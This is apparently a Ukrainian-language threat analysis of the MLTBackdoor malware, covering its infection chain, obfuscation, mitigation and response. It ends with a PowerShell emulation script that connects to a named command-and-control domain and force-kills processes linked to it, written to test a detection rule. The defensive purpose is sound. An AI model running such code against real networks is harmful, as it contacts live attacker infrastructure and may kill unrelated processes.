Технічний аналіз MLTBackdoor

Резюме

Zscaler ThreatLabz ідентифікував нову родину шкідливих програм, MLTBackdoor, у травні 2026 року. Загроза доставляється через багатоступінчастий ланцюжок інфекції ClickFix і, здається, використовується операторами програм-вимагачів для встановлення початкового доступу та підтримки латерального переміщення. Шкідлива програма покладається на сильну обфускацію, алгоритм генерації доменів та завантажувач Beacon Object File (BOF) для розширення своїх можливостей після виконання. Мережеві комунікації цієї програми зашифровані за допомогою TLS і спроектовані для маскування під легітимний трафік Microsoft Delivery Optimization, що допомагає активності злитися зі звичайною мережею.

Розслідування

Аналіз відстежив ланцюжок зараження назад до conhost.exe обгортки, яка завантажувала стиснутий архів з домену, згенерованого через DGA-логіку шкідливої програми. В цьому архіві endpointdlp.dll декодував RC4-зашифроване навантаження, яке потім було завантажено як MLTBackdoor-бінар. Дослідники виявили, що шкідлива програма використовує змішану булеву арифметику, сплощення контрольного потоку, непрямі системні виклики та власний зашифрований протокол зв’язку, щоб утруднити аналіз і виявлення. Вбудований завантажувач BOF також дозволяє операторам запускати додаткові модулі в стилі Cobalt Strike у пам’яті.

Зм’якшення

Захисники повинні заблокувати ідентифіковані домени керування та контролю та відслідковувати відповідні DGA-шаблони. Виявлення повинно також зосередитися на конкретному рядку агенту користувача та TLS-трафіку, спрямованому на /api/v1/telemetry через порт 443. Команди безпеки повинні відстежувати підозріле використання conhost.exe з документованими аргументами та створенням endpointdlp.dll у тимчасових каталогах. Виявлення на основі поведінки для API-гешування та використання непрямих системних викликів можуть додатково покращити видимість активності MLTBackdoor.

Відповідь

Якщо активність MLTBackdoor виявлена, негайно ізолюйте уражений кінцевий пристрій, зупиніть шкідливий процес і видаліть усі файли, скинуті завантажувачем Temp каталогу. Дослідники повинні потім провести судову експертизу на предмет виявлення додаткових модулів BOF або подальших навантажень. Будь-які потенційно скомпрометовані облікові дані слід скинути, а полювання на загрози розширити, щоб виявити спроби латерального переміщення, використовуючи ту ж тактику.

Емуляція виконання

Передумова: Перевірка телеметрії та базової лінії повинна бути пройдена.

Обґрунтування: Цей розділ деталізує точне виконання техніки атаки (TTP) розробленої для виявлення правил. Команди та наратив МАЮТЬ безпосередньо відображати виявлені TTP і мають на меті згенерувати конкретну телеметрію, очікувану за логікою виявлення. Абстрактні або непов’язані приклади призведуть до помилкової діагностики.

• Наратив атаки і команди:

  1. Рекон – Вирішення домену DGA – Бекдор генерує DNS-запит для hrs2y15sungu.com, домену, виробленого його внутрішньою DGA.
  2. Контакт C2 – Відкриття TCP-сокету – Використовуючи PowerShell, супротивник створює необроблене TCP-з’єднання до розв’язаного IP на порті 443 (HTTPS) для маскування під звичайний трафік.
  3. Отримання навантаження (T1105) – Через той самий сокет бекдор отримував би додаткові модулі; для тесту ми просто надсилаємо нешкідливий рядок.

  Ці кроки генерують запис Sysmon Event ID 3 з DestinationHostname = hrs2y15sungu.com, задовольняючи умовам правило Sigma.

• Скрипт регресійного тестування:

  # TC-20260610-А7B3Z – Емуляція комунікації C2 MLTBackdoor
  # -------------------------------------------------------
  # 1. Розв'язати шкідливий домен (симуляція виходу DGA)
  $malDomain = "hrs2y15sungu.com"
  try {
      $ip = [System.Net.Dns]::GetHostAddresses($malDomain)[0].IPAddressToString
  } catch {
      Write-Error "Не вдалося розв'язати $malDomain – припинення тесту."
      exit 1
  }
  
  # 2. Відкрити TCP-з'єднання до розв'язаного IP на порті 443
  $port = 443
  $client = New-Object System.Net.Sockets.TcpClient
  $client.Connect($ip, $port)
  
  # 3. Надіслати нешкідливе навантаження (симуляція отримання модуля)
  $stream = $client.GetStream()
  $payload = [System.Text.Encoding]::ASCII.GetBytes("TEST_PAYLOAD")
  $stream.Write($payload, 0, $payload.Length)
  
  # 4. Утримувати з'єднання на кілька секунд, щоб гарантувати генерацію логів
  Start-Sleep -Seconds 5
  
  # 5. Очистити
  $stream.Close()
  $client.Close()
  Write-Output "Емуляція завершена – з'єднання з $malDomain ($ip:$port) закрито."

• Команди очищення:

  # Переконатися, що не залишилися незакриті сокети (у разі, якщо скрипт був припинений)
  Get-NetTCPConnection -RemotePort 443 |
      Where-Object { $_.RemoteAddress -eq (Resolve-DnsName hrs2y15sungu.com).IPAddress } |
      ForEach-Object { Stop-Process -Id $_.OwningProcess -Force }